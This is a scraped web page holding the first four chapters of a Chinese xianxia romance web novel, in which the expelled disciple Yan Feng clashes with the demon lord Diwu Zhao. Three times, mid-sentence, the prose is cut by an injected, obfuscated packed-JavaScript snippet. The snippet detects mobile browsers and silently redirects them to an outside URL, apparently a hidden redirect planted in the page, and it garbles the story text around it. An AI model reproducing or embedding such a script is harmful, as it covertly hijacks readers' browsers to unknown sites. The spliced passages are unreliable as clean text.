《我是仇人的白月光》 1. 楔子 “鄢丰,你可认罪?” 鄢丰跪在阶下,抬起头。 上首那一位,是她的师父。 她岿然不动,却面目坚定,只说一句:“我本无错,何来认罪一说?” 师父于是气急,颤抖着手指向她,怒目圆睁,大声喝道:“逆徒鄢丰!你不忠不义,叛道修魔,罔顾我昆仑往日道义。即日起,我便与你恩断义绝,将你逐出昆仑!” - “朗林,送我到这里就够了。”鄢丰温和的笑,“回去代我跟小师妹说句对不住罢。” 那一直默不作声跟在她身后的少年这才抬起头,眼睛红了,却不肯流下泪来,只是倔强道:“……我不帮你。你若当真觉着对不住她,便别走了。” 鄢丰失笑:“我已被逐出昆仑,该走。” 少年眉目中却满是不解与怨愤:“仙魔本无贵贱,这分明是师父昔日教授与你我,可如今他怎么可以——!” “朗林,你别怨师傅。”鄢丰长叹一声,“……师父这样做,也定有他自己的道理。” “什么道理!道理就是任那范雪雪平日张扬跋扈,肆意妄为,欺你良善;就是以次充好,害你修炼不得寸进;就是听信谗言,将我昆仑门下百年难见的墨家修士,天生灵体逐出师门?我倒不知,这是什么道理!” “朗林!”鄢丰叫住正欲再去前往理论的孟朗林,无奈道,“朗林啊,世间因果循环,皆有报应——这不也是师父教给我们的吗?你若当真替我不平,不如且留在昆仑,替我看看,这因果报应,是真是假。” 孟朗林看向鄢丰平静的眼睛,那是他有生以来见过的最坚毅的眼睛,即使是此时此刻那份不知从何而来的坚决也仍然如一团藏不住的火焰,狠狠撞入他心中。良久,他问:“师姐,不是师父硬要逼你走,是你自己也想走了,是吗?” 鄢丰一愣,随即又毫不意外的笑起来:“是啊朗林……你总是最解人意的。”顿了顿,似乎觉得不该多说,却又愧疚于自己连合理的交代也给不出对方一句,欲言又止的叹口气,半晌又说,“……朗林,我们每个人啊,最终都要走向自己选择的命运。” 孟朗林无端的从这看似莫名其妙的话里听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557252|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出不寻常的沉恸来,反而闭了嘴,与她心照不宣的谁也没再说多余的话,他送她到门口,露出笑来:“……师姐,保重。” 千言万语自然在不言之中,鄢丰也笑,说:“你也要保重。” 彼时的孟朗林毕竟还不能全然明白,师姐离开昆仑那一日所说的话,究竟意味着怎样的沉重的许诺。 - 半月后。 风雪夜,木门吱呀作响。 一片夜色里,瘦削的姑娘推开门,披着单薄的披风,踽踽独行。 她提了一盏灯,灯芯明明灭灭,照亮她的脸颊——一张极普通的少女的脸。 她走啊走,雪里留下长长一串脚印。而她还是不停,直到雪又覆上那痕迹,她才拂去满头霜雪,抿一抿冻得发紫的唇,轻轻叩开华丽的朱漆门,里边华灯璀璨,莺歌不断。 少女脸色苍白,冻僵的手指缓缓弯折,从怀里摸出一个纸包。 高台之上那人斜睨着她,嘴角是漫不经心的笑。 她也仰脸朝他笑:“阿昭,要不要吃桂花饼?” . 2. 永夜(上) . “小夜,君上吩咐去叫木屋那凡人来。”阿浮端着托盘出来的时候朝她这样说道。 小夜年纪不大,是方才被选来魔宫做魔君大人的侍女的。传闻魔君大人第五昭,弑父杀母,嗜血之极,也正因如此才能稳稳坐住这魔君的位置,几百年如一日,也难得为魔域增添了点平静。小夜毕竟年轻,又是较为纯血一脉的魔族,对强者的尊重要胜过对那些伦常的敬畏,因而初来魔宫,即便有所恐惧,心里面更多的却也是崇拜。 那凡人却不知从哪来的,身上半点魔气没有,也不像个修仙的,容貌也不甚出众——小夜私揣那女人的恐怕还不及自己的模样,也不知道她是如何越过魔域七十二深渊来到这儿的,想必也只是运气好,而后就这样死皮赖脸的非要留在他们魔宫,即便魔君大人都已经告诉她,就是她要留下,魔宫也是没有多的地方给她住的。那女人却是真真不要脸似的,竟巴巴的自己找了个角儿,一块块木板搭了个简易的木屋住下了。 平日里魔君大人也是惯了冷落她,今儿却不知怎么回事,竟然主动传召那个凡人。小夜烦闷的撇撇嘴:“是,阿浮姐姐。” . 鄢丰是被一阵急促的敲门声叫醒的。 平日她向来起得早,一般不过平旦便已经穿好了衣裳,站在外头练剑了。鄢丰一时间有些恍惚的看着静静躺在枕边的长剑,露出怜惜的神情。——仔细算来,上回拿剑也要算至五个月前了,到今日已然有这样长的时间不曾拿起它了……即便握住过,也多半在梦中吧。 似乎听到屋里的动静,外头侍女便不等她应声便开了口。 “姑娘,君上请您去一趟。” 说罢,也不管鄢丰是否听到,脚步声就这样渐行渐远。 鄢丰倒是不大在意这些,只是抱住佩剑,一遍一遍擦拭,从剑鞘,到雪亮的剑身——尽管许久未曾经灵力温养,已然显出颓然暗淡之势来。鄢丰自言自语般轻声说:“再等一等,再等我一等罢……” 那是她最亲密无间的伙伴,或许也是她如今唯一所拥有的、可聊作依靠的物件了。 犹豫片刻,鄢丰最终还是放下佩剑,只穿戴整齐便去了宫殿。 魔域不比人间,即使已然该到了天光破晓的时间,天也仍然像是蒙着层黑色面纱一般,黑沉沉的笼罩着大地。鄢丰因此还是点了盏灯,慢慢走到目的地去了。 她轻轻叩门,侍女便很快替她开了门,请她进去。宫殿里倒是灯火通明,彻夜如此,第五昭就坐在高高的王座之上,朝她看来。 魔域新上任的这位魔君生了一张昳丽的脸,终日不见阳光的脸比起鄢丰甚至还要更苍白许多,他还是个少年模样,深潭一般的眼睛居高临下的看向她,微微勾了勾唇,像是在笑,又有几分像是讥讽,谁也不曾开口,唯有她手里那只不起眼的灯烛,静静等到她端正的站在他近前,默默将微弱的暖黄的光投射在他漆黑的眼瞳,明灭跳动,平白将魔君那张脸照出血色,为他那死一般沉寂的眼睛增添了三分鲜活。 上座的人这日反常的没对她冷言冷语再三讽刺,倒是看上去心情不错,颇有耐心的等她走到了他面前的阶下,眼神在她手中的灯上停留须臾,便好心情的移开来,没有像前几次那样,烦躁的抢过来摔碎之,再狠狠碾上几脚才肯罢休。他手指在王座的扶手上漫不经心的敲了几下,发出几不可闻的闷声响动,却始终盯着鄢丰的眼睛。 鄢丰的眼睛向来是古井无波的,分明是一模一样的一张脸,却怎么看也只能找出五分相似来。第五昭是第一次认真打量她,他们毕竟不一样,比如说,此刻他这样直直看向她,鄢丰却半分也不曾闪躲;但如果换做那个人,不消片刻她就会移开视线,败下阵来,以一个青涩的笑容揭过,或者也少不了嗔怪的说上几句话。 此时,对面的女子好像听到他心中所想一般,开了口;但是她终究是没有读心术这样的能力的,她没有如他所想的那样移开目光,也没有牵起唇角,只是眼神略有不解的歪了下头,轻声唤他:“阿昭?” 第五昭回过神来,却不知又想到什么,冷哼一声,身体往后一靠,以一种更为舒适的俯视姿态再次看向她,终于开口:“……你可知我魔域之中有种花——你们人间的叫法,唤它作饲魔之花?” 鄢丰一愣。 “饲魔之花”,她当然知道。但这花本有个更好听的名字,唤作永夜。鄢丰其实不曾见过这花,或说只是从书本上见过一回。那是一种单单看起来,就让人感到极美而极危险的花儿——它有琉璃般剔透的花瓣儿,内里却并不散发五彩的光芒,相反除了黑色别无其他。 永夜花恰如起名,开在黑暗的魔域之中,开在那最黑暗、魔气最旺盛的土壤之下。 第五昭见她半天不说话,漫不经心的说:“总归,你是修道的,该是不会没听说过。”他从王座上起身,一阶阶走下高台,凑近到鄢丰耳边,“你想不想看一看呢?” 鄢丰微微一愣,刚要开口,却听他继续说:“你此生恐怕也只这一次机会了。你大约不知道,这永夜花乃是我魔域独有的花,一百年却只开这一次,分外珍贵,”说到这儿顿了顿,低笑一声,“珍贵到什么程度呢——连本君这个魔君,也不被允许突破那禁止,摘下哪怕一朵来。” 鄢丰听他这样讲,反而不说话了,蹙起眉看向他。 第五昭似乎对她这样的神情感到很愉悦,咧开嘴笑了起来,露出两颗虎牙。分明是个少年的样子,那虎牙却不能为他增添分毫可爱生机之意,却无端让人联想起猛兽森然的獠牙锯齿来,教人不寒而栗。 “哈,你不必拿这样的眼神看我,”半晌,他说,“再珍贵也只不过是一朵花罢了。” 话刚说完,他又忽然不耐起来,眉头微微皱起,舌尖不自觉的舔了舔左边的虎牙,方才还愉悦的模样突然一扫而空,戾气取而代之在他的眸光里闪烁。妖异而美丽的红色被压在漆黑黑的眼底,似乎即将破土而出。 眼前的人离自己很近,她能够清晰的感知到,那股戾气逐渐积攒着等待着一个破口喷涌而出,原本温暖的大殿此刻变得分外寒冷,手中灯烛颤巍巍摇荡着,好像预言着山雨欲来。 鄢丰对这样的变化并不感到奇怪——当魔气抑制不住、心底恶念喷薄欲出的时候,那双眼睛就变成鲜艳的红色。 但这回反倒换她笑了起来。 逼人的寒气顿时止住,第五昭定定的看着她,半晌,眼瞳里的血色慢慢褪去,但第五昭仍然蹙着眉,表现出不悦,声音比起方才沉了几分:“你笑什么?” 鄢丰见他这样反应反倒是愣了愣,然后又微微笑了笑,只道:“我道也是,总归只是一朵花儿罢了,再是珍贵,魔君大人若是觉得喜欢,也不妨摘下一朵来。” 第五昭闻言也一愣,冷哼一声,鄢丰眼神软了几分,跟着开口道:“我当然是想看的——难得你今日有兴致,便带我去瞧瞧?” 第五昭不语,大殿里静默了片刻,鄢丰无奈的笑了笑,又试探着说:“阿昭,如今你已是魔君了,话既说出了口,莫不是要反悔罢?” 第五昭瞥了她一眼,不答话,却转过身,快步往外走去。 黑袍掀起一阵风来,待再回过神来,手中的烛光已灭了。 . 鄢丰跟着第五昭走出大殿,天黑黑的,与殿里金碧辉煌的样子截然不同。鄢丰微微眨了眨眼,睁大眼睛,想在夜色里看得再清晰些。 沉默着走了半天,第五昭才总算停下来,但鄢丰知道,此刻仍在魔宫之中。只是这一处似乎很是偏僻,人烟稀少,只有零星几只夜鸦嘎嘎叫了几声,茂密的树一棵一棵整齐的排列着,视线的终点依稀还能见到被辉煌的灯光勾勒出的魔宫的轮廓。 片刻,一阵风吹起来,第五昭周身聚拢了几分魔气,鄢丰略感不适的吐出一口气。下一刻,脚下亮起光芒,将两人的脸清清楚楚照彻,鄢丰还没来得及看清楚此处的景物,再回过神来便已然来到了一处陌生的集市。 鄢丰已经很久没有到过这样热闹的集市了。眼前的街道,人群熙熙攘攘从她面前不停的略过,喧闹的声音比起上一秒的寂静显得有些许刺耳。 “姐姐?……姐姐!” 鄢丰最终被耳边小孩子尖锐甜润的嗓音惊醒,周身围了一圈人。她这才发现此时自己正站在一个糖画儿摊子前,穿着红袄子的小姑娘睁着圆溜溜的眼睛,歪着头看她,有点儿不满的说:“姐姐,你怎么突然出现在这儿啊!我们排了好半天的队才排到的,不可以插队哦!” “是啊姑娘,”摊子的主人是个年纪大的老人,笑眯眯看着她,“小孩儿们排了半天的队了呢。” 鄢丰一回头才看到身后好几个小孩儿,正叽叽喳喳的说着:“我想要个小蝴蝶!” “蝴蝶有什么好的啊,”旁边的小男孩儿一撇嘴,“你看大爷画的这龙!——大爷,麻烦给我画个龙!哎,真酷哎!” 身后另一个小男孩儿挤过来,看了半天旁边的样板画,最后转向摊子主人,眼睛几乎能冒出星星来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557253|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,期待的问道:“大爷大爷,您会画人吗?” 大爷一抬眼:“干这行这么多年啊,诶,还没有大爷我不会画的。” 小男孩儿一听来了劲儿,立马就点点头,大声说:“那您给我画个魔君大人吧!” 鄢丰正想说那给我也来一个吧,原本热闹的摊子却突然静默了下来。方才小男孩儿的声音变显得更为突出,他身边几个小伙伴拉了拉他的袖口,小声说:“你干嘛哪壶不开提哪壶啊……谁不知道那个魔君他是——” “你怎么还在这儿?” 鄢丰肩膀被人拍了一下,小孩儿话还没讲完,便被强行挤进人群里的第五昭打断了。后者凉凉瞥了他一眼,小孩儿识趣的噤声。鄢丰看他面色如常,也不说什么,如方才一样跟在他身后离开了糖画摊子。 走出几步路来,鄢丰才开口:“他们不认得你吗?” 第五昭回头看了她一眼:“哼,他们……”此时正有一个孩子和朋友打闹着跑,手里还拿着糖墩儿,开怀的笑着,一不留神却正正撞到第五昭身上,生生将他话打断。 第五昭皱起眉,阴沉着脸看向撞到自己正捂着脑袋喊疼的小胖孩子,小孩儿看到他的眼神立马不自觉站直了,眼泪在眼眶里打着转,一边道歉:“对不起对不起……大叔我不是故意的呜呜呜呜呜你不要揍我……” 第五昭脸色更差了,将黏在身上的糖墩儿扔在地上,猛踩了一脚,然后居高临下的看向还止不住在哭的小孩儿。 鄢丰反而不自觉笑起来,走到他身边,蹲下身摸摸小孩儿毛茸茸的脑袋,温声道:“你的朋友在那边等你呢,”小孩儿闻声看她,她便伸手一指,不远处果真有个小女孩正又惊又惧的看着第五昭他们,又不敢上前,扁着嘴巴也要哭了的样子,“快过去找她吧。” 小胖子立马反应过来,颠颠的跑向远处小女孩的方向。鄢丰也正要站起来,第五昭却往前走了一步,暗金色纹路的黑色靴子正正停在她面前一寸,地上的糖葫芦应声又碎了一颗。 鄢丰动作一顿,抬起头来,正看到第五昭低着头,像每一次在大殿上俯视着她一样,眸光冷冷,暖融的灯火在他墨一样黑的眼睛里扩散、荡开,最终消融,不留下任何痕迹。鄢丰安静的同他对视片刻,也不恼,缓缓站起身,微微笑了,正要开口:“阿……” “救命啊!救命!当街杀人了————” 远处的摊子一阵骚动,而后人群里突兀的跑出个小少年来,一边大声喊救命,喊得惊天动地,响彻整个街道。少年跑着带起一阵冷风,将集市上装饰的灯笼震得一颤一颤的。他一路跑,还撞倒了不少摊子,一时间水果、糖浆、饰品掉的满地都是,争吵的声音越来越多,不绝于耳。而那少年却浑然不理——他的身后原来还有人一路追着,蒙着脸看不清模样,只让人觉得来者不善。 少年跑到鄢丰面前,看到她,眼珠子转了转,突然停下不跑了,一边朝她喊:“姐姐,救救我,救救我啊!”一边躲到她身后,浑然忽略她身边的第五昭。 鄢丰也被打了个措手不及,下一刻他身后的追兵便来了,两相对峙起来:“姑娘,这是我与他的私人恩怨,还望姑娘高抬贵手,莫要多管闲事才好。” 身后的少年却说:“你说什么也没用了!这位姐姐一定会救我的!……对吧,姐姐?” 鄢丰皱起眉,一时间进退维谷。少年受了伤,虽然一路跑下来没有留下血迹,但是方才他撞上来的时候她看得真切,那一身白色的衣服上,胸口的血迹显得分外明显,且正以肉眼可见的速度扩散开。那蒙面人并不掩饰自己散发的魔气,对方的力量显然在这少年之上,此刻她若抽身离开,便是见死不救。 然而,她并不知道事情始末,贸然插手也可能反过来弄巧成拙。 见鄢丰半天不说话,蒙面人似乎也不愿伤及无辜,只催促道:“姑娘,请让开。” 少年也有些急了,拽住她的袖子,一双眼睛澄澈无辜,分外惹人怜惜的模样:“姐姐,救救我吧……” 鄢丰低下头看向这少年,还没答话,反倒是一旁的第五昭冷笑一声:“她答应你又如何?她连自保之力都无,救你?呵,笑话。” 那蒙面人这才正眼看向了第五昭,一时间惊疑不定,第五昭倒是神色如常。僵持片刻,最终蒙面人长叹一声:“也罢,你我恩怨,下次再清算也不迟。”他正要运功离开,末了又顿了顿,看了那少年一眼,口中却对鄢丰道,“……姑娘,爱管闲事可不是什么好习惯。” . 3. 永夜(中) . 不知是不是错觉,鄢丰觉得第五昭走得越来越快了。 身边的少年则恍然未觉,打从那蒙面人走了起便一直跟在鄢丰身边,此刻仍叽叽喳喳的同她搭话。 “姐姐也是凡人吗?” “是啊。” “我也是!”少年笑起来,激动的拉起鄢丰的手,“姐姐你住哪里?你该是与家人同住罢?” 鄢丰垂眸,默了默,正想着该如何回答,少年却似意识到什么,小心翼翼的又开口道:“抱歉啊姐姐……我其实还是第一次见到有来自其他城的凡人呢,所以才不觉有些激动过头了,你别生气……” 鄢丰摇摇头:“无妨。” 少年又高兴起来,有一搭没一搭的同她说着话。 “姐姐是第一次来永夜城吧?” “永夜城?” “你不知道?”少年瞪大眼睛,“你在我们永夜城夜市上逛了这么久呢!”随即眉眼一弯,又笑起来,露出一颗虎牙,骄傲的挺起胸,“要知道,我们永夜城可是魔域凡人最多的地方了!姐姐若是愿意,也不妨搬到我们永夜城来,你瞧,我们这儿都是凡人,和凡间最是相似了,比魔域寻常的城里热闹多了。” 鄢丰笑了笑,只温和道:“我初来乍到,很多事情都不知道呢。” 少年一拍胸脯:“找我呀!要说魔域这些地方,没人比我更熟了!想我当年——”他话说一半,这才后知后觉意识到胸口还有伤,话未说完便“哎呦哎呦”叫唤起来,转而弯下腰,大口大口喘气。 鄢丰不无担心的看向那少年,正要说点什么,走在前面的第五昭突然脚步一顿,转过身来,眉宇间尽显不耐之意,方才轻松的氛围戛然而止。鄢丰于是将关心的话吞回肚子里,抬起头看向第五昭。 第五昭瞥了她一眼,语气带着十成十的不耐道:“你还想跟着我们到什么时候?” 说罢,他便加快脚步向前走,周身戾气几乎已经压不住的迸发出来,只朝鄢丰甩下一句:“你要还去,就别再管这家伙。” 少年却并不理会这明目张胆的排斥,反而问:“你们要去哪呀?这永夜城里还没有我不知道的地方呢。” 前方长靴踏在土地之上哒哒的闷响声停了下来。他们已然走到一处人烟稀少的角落。 少年清润的嗓音已散去余响,鄢丰却迟迟未答,反倒也跟着停下脚步,面色沉沉看向面前的第五昭。 ——此时分明无声无息,风已停了,无人高声语,却无端传来寒气,树丛上三两结伴的乌鸦突然惊叫两声,振翅飞远,只留下摇动的枝叶震颤着发出簌簌哀声。 只听第五昭嗤笑一声,猛地转过身来,鄢丰这才真正看清他那一对在暗淡的月下异常扎眼的红色瞳孔。他额头青筋暴起,露出凶兽般的獠牙,凶相毕现,魔气暴涨,在这小小的街市角落迅速迸发。他速度极快,只眨眼的功夫,第五昭已然掐住少年的脖颈:“哈,区区凡人——” 他用力极大,黑色的手套将他修长的五指、分明的血管勾勒得异常清晰;此刻在黑暗当中却似在隐藏着正发生的罪行,他手指不断的收紧,又隐在黑暗中看不真切,只像无形之中的绳索,越收越紧,将少年沉浮不定的身躯紧紧箍住,迫他向鬼差束手就擒,就此一睡不起。 少年瞪大眼睛,急促的呼吸,脸已涨的通红,止不住的挣扎起来,身上刚刚止住血的伤口再次裂开。 粘稠的血液滴答答流到地上,很快便从一滴血变成一滩血。 “放……开…………” 那少年像离开水的鱼,奄奄一息的扑腾着,像是最后的挣扎。讲出这两句显然已经用尽了他全力,而后便两眼朝上一翻,方才急促起伏的胸口也有了停下的迹象。 “阿昭,住手!” 鄢丰几乎来不及多想,一切都发生的太迅速,佩剑不在身边,她只得双手握拳,从斜侧方攻向第五昭面门,后者似乎没料到她会来这么一出,险险向后挺腰避过这直击要害的一拳,不料鄢丰却火石电光之间转了方向,直直朝向他掐住少年脖颈的手扫去一脚,他方才躲避得匆忙,这边未及防备,手上力度略略松了松,便教这一脚得了逞,已经昏迷的少年便如失了提线的木偶重重朝下跌去。 鄢丰赶忙接住他,将他扶着靠在自己身上。 “啧。” 第五昭轻啧一声,鄢丰闻声望来。灯火皆远去,天边云烟散去,露出弯弯的月牙儿来,淡淡的光芒照耀下来。而第五昭却站在参天大树之下,身上落满枝叶阴影,比刚才更像是恶鬼入世。偏偏那双眼睛更红了,在一片黑暗中几乎只能看到那锐利刺眼的眸光,像猛兽被夺取猎物后的怨憎。 “我倒是忘了……还、有、你、呢——” 他从树下朝她走来,咧开嘴状若癫狂的笑着,舌尖不断舔舐着左边的尖牙,像是不能饮足鲜血、撕尽骨肉,便不能罢休—— 危险! 鄢丰早察觉到对方暴涨的戾气,将昏迷的少年安放好在地上,下一刻,第五昭拳头几乎带起罡风,毫不犹豫向她攻来! 对方力度极大,手握成拳,魔气聚集在他周身,将月华淡淡的光芒尽数吞噬。那拳头被魔气环绕着,带起的风都刮的人脸生疼。衣袍纷飞的飒飒声、猎猎风声皆不绝于耳,上一拳刚险险躲过,下一拳已经毫不留情的当胸而来!鄢丰急急侧过身来,两手始终保持着防守的姿态,然而已经来不及了——对方的速度实在太快了!她只能以右臂挡在身前硬生生接下这一击。 强大的后坐力迫使鄢丰惯性的向后退却,脚步虚晃两下。她听到“咔嚓”一声的闷响,缕缕黑烟迫不及待攀附上淡色的道袍。来不及等待疼痛到来,鄢丰迅速调整姿势,将左手抬起死死护住面门,同时全神贯注应对对方一次次加重、加快的攻击。 然而鄢丰知道,即便她有心退让,此刻几乎已经被怒火吞没的第五昭却不会手下留情;而况这里是魔域,对他天生有利,而以她眼下的体力,绝对无法撑的到他体力耗尽那一刻。 这样不行! 第五昭虽然力量强大,出招却毫无章法。虽则只靠他之天赋,已然足以战胜大多数人,但鄢丰却能看到,此刻他只顾出拳,下盘踏着魔域步法,却松松散散、漫不经心—— 鄢丰心念急转,突然转守为攻,全然放弃了防守,她侧身弯腰,躲过对方一轮的攻势,顺势横扫一个半圆,第五昭来不及躲闪,砰然倒地;鄢丰却不能等他站起来,正欲制住对方手脚,却不料第五昭也很快反应过来,以双手撑住地面,倒立朝她踢出一脚,直击脸颊! 鄢丰见机会落空,也毫不犹豫退开,汗水不知何时已从额角顺着脸颊流下,带起一阵酥麻痒意。 她正要再出招,右臂却突然一痛,她左手一抹一把粘稠的血迹,而第五昭似乎也闻到了这街上已然弥漫着的血腥气,反而战意更甚,舔舔干涸的嘴唇,速度更甚方才的朝她打过来! 鄢丰无法,只得继续勉力抵挡;她此刻无比后悔没将佩剑带在身上,她彼时在昆仑时最不擅长近身肉搏。此时此刻,若想从第五昭手下脱身,唯有长剑在手,方有一线希望。 忽而夜风突起,吹得不远处的大树不住的摇晃,繁茂的枝叶簌簌落下,纷飞的叶子沉浮在空气中,身不由己的介入这场无妄之灾。 枯萎的落叶纷纷扬扬,落了一片擦着鄢丰侧脸而过,鄢丰心思一动,一面防守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557254|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着第五昭狠辣的攻击,忽然背过身,后身大开,第五昭自然不放过这大好的机会,五指成爪,竟抓向鄢丰的脖颈! 鄢丰早有准备,反身折腰直踢他胸口,同时借力向上,伸出左手抓住一枝较为粗壮的枝子。她“咔”地折断树枝,有点儿不习惯的拿左手握住,挽了个剑花,那树枝竟仿佛一把名家铸造的利剑般,剑气荡开一圈圈无形波浪,第五昭也被逼的后退两步,抬起头恶狠狠看向鄢丰。 鄢丰不再避战,从高处跳下来,转着手腕儿,一扫方才的颓势,往常沉静的脸上多了三分傲气,倏尔竟笑起来:“阿昭,你想见见我的剑招吗?” 第五昭一歪头,骨骼咔咔响动两声,不知是因为她这嚣张的话还是因为弥漫街道的血腥味,战意顿起,周身魔气竟又涨了几分,直要将这街上的空气也蒙上黑色的迷障来。 鄢丰也不敢大意,粗糙不起眼的树枝在她手里仿佛有了灵魂,借着月光冒出淡淡的蓝色光芒。 树枝作剑,将第五昭的攻击牢牢防在面前三寸,不得再进分毫。 第五昭反而突然有了耐心,像捕猎的狼,一次一次攻击过来,将那树枝上残余的花叶打得七零八落,哗啦啦落了一地,正巧落在鄢丰落地的血液上,浸染上一角暗红,如秋天枯萎的枫叶。 第五昭不断的出拳,却被那树枝全部抵挡回来。飘落的花叶随着二人打斗带起的风翻飞在两人身侧,将二人打斗时周身带起的无形气流丝丝勾勒出来。 鄢丰抬手一擦汗水,与第五昭纠缠着,瞧着他此刻也气喘起来的样子,心中揣摩着一百招内大约便能结束了。 然而就在此刻,第五昭突然双眼一弯,露出一个狡黠的笑,正要攻向胸前的拳头带着魔气,竟不要命的打向那被她剑气包裹着的树枝! “咔!” 树枝竟然应声断裂!剑气与他的魔气相冲,生生被破了个缺口来,失去保护的树枝脆弱不堪,狼狈的掉在地上。 第五昭似被烫到一般也收回了手,低头看了一眼几乎已经血肉模糊的右拳,又看向她那把“断剑”,最终露出得逞的笑,好像感觉不到疼痛,他又抬起手,迅速靠近她。 鄢丰知道情况不妙,只能拿着断树枝格挡,但这并非长久之计,不能故技重施,但没有剑,在他耗尽体力前她几乎毫无胜算。鄢丰在心中分析着,脚下步子不停。 或许…… “当——当——当——” 巨大的钟声打断她思绪,此时已是四更了。 夜风更凉,连一边的树木建筑都不知道何时已经结了薄薄一层霜来,如兜头的凉水,魔气刹那间散去,第五昭仿佛从梦中惊醒,身形顿了顿,最终停下动作,看着近在咫尺的鄢丰,低低的笑了起来。 “哈……哈哈哈哈哈哈哈哈哈哈哈哈……” 鄢丰也喘着气,脸都微微泛红,看向他。 红色已然从他眼中褪去,鄢丰松了口气,正要开口,第五昭却突然身形一动,当胸朝她踢了一脚! 鄢丰躲闪不及,只能生生接下这一击,重重摔在地上,猛地咳出一口血来。 断掉的树枝颓然落地。 “这一脚,是还你的。” 第五昭站在她面前,嘴角还挂着恶劣的笑。 他漫不经心的端详着身上被树枝割裂的伤口和血肉模糊的拳头,最终居高临下的朝着她冷冷道:“今日就放过你。——还有那小子。”眸光一转向角落的少年。 少年似乎还处于昏迷之中。 “同我走。” 鄢丰有些担心的看向还昏迷着的少年,但看到对方平和起伏着的胸口,叹口气,起身快步跟上第五昭。 . 4. 永夜(下) . 四更天寒,鄢丰和第五昭沉默的攀在一层层石阶之上。 陡峭的石阶层层而上,抬起头是一片漆黑,看不见山巅尽头。脚下传来闷闷的响声,白霜悄无声息降落,包裹住脚下石阶丛生的青苔,如履薄冰般,靴子打着滑艰难的向上攀登。 鄢丰不知道这是什么地方。但是她知道,永夜花开在魔域最黑暗的土壤之中。 这一处便是如此:越是向上攀登,便越是漆黑不见前路,饶是连日来鄢丰自认已然适应了魔域的黑暗,此刻也只能靠着多年修炼的目力勉力看清前方。伸出手来几乎不见五指,倘或不是仍有夜鸦不时鸣叫两声,鄢丰几乎要怀疑自己是否被布蒙住了眼——抬头不见天际,低头也不识前路。 第五昭一身黑衣,早已隐没于黑暗之中,只有他脚下偶尔传来的,踏碎冰霜的脆响昭示着他仍然在她前面走着。 黑暗之中,连时间的流逝也变得分外漫长。 鄢丰只能默默数着,他们已然走过第九千级台阶。 城下钟声再次敲响。 “当——当——当当————” 鄢丰下意识回头看去,像看到古钟沉稳摇荡,声音当当。 五更天至。 永夜城的居民已有打开了房门,看向泛起微白的霜天。 而第五昭也终于停下了脚步。此处仍然是一片漆黑,甚至比方才更甚,越是向上,魔气也愈发浓郁起来。不远了。 鄢丰仍在默数着—— 第一万阶……一万零一阶…… 她漫不经心往前走着,却猛地听到“咚”的一声闷响,随即传来第五昭不耐的“啧”声:“不会看路?” 鄢丰感到他又向前一步,直起身子,环视四周,努力想看清这处环境。 第五昭似乎看到了她这番动作,突然问:“看不见?” 鄢丰笑了笑,正要解释,却见几尺外的不远处突然亮起了灯。久违的光照射进眼中,即便萤烛微弱之光,也突兀的刺了她一下。鄢丰看向灯光的来源,其实只有一个小小的光点,在漆黑黑的暗处却分外显眼。 第五昭见了也没有多说,只是径直朝着那光的方向走去。 然而越是靠近,越是发掘出不对劲来。 此处极安静,几乎连呼吸的声音都变得格外粗重,分明拂面无风吹过,却无端觉得冷,耳边也像是刮过穿堂风一般咧咧作响。 第五昭停下脚步,却离那光源处还有几步距离。 鄢丰开口:“……不对劲。” 突然,寒鸦惊起一片,那光点突然剧烈闪动起来,明明灭灭,却极其迅速的朝着他们此刻所在的方向靠近,光点越来越大,速度也变得越来越快,第五昭警惕的防备起来,魔气已然环绕周身,将自身牢牢包裹! 鄢丰也死死盯着前方越来越近的光源,风声越来越大,将二人的衣摆都吹得翻飞交缠起来—— 有人的气息! 第五昭几乎下一刻就要离弦之箭般冲出去,却听到一声划破耳膜般的尖声叫喊: “救命!!!救命啊——!!!!!……啊!!!!!!” 是个小女孩儿的声音。 鄢丰闻声望去,却没看到人影,只看到那灯光不再浮在半空,此时被打落在地上,颤巍巍摇晃了几下。 那女声还在不停的呼救,似乎被什么东西击倒。 “不要杀我!!不要……不要——啊!!!!” 鄢丰再也按捺不住,从袖中抽出方才又折了的树枝一角,飞快朝着呼救声的方向而去! . 鄢丰最终是循着血腥味找到的那姑娘。 只她看到的一瞬间便浑身汗毛炸立—— 一株巨大如柱粗的花,张合着花瓣,正将一名瘦弱的少女缠住,几乎下一秒就要被吞噬! 少女已然挣扎没了力气,连呼救声也微弱了许多,血从腰腹渗透尽衣服,另外一些残留在那巨大魔花通透琉璃黑色的花瓣儿上,竟被一点点吸收;末了花瓣伸伸张张,似乎餮足一般张开花瓣。 就是现在! 鄢丰盯准时机,手中树枝成刃,飞身而上,趁那魔花松懈的刹那直将那琉璃瓦般的花瓣击碎! 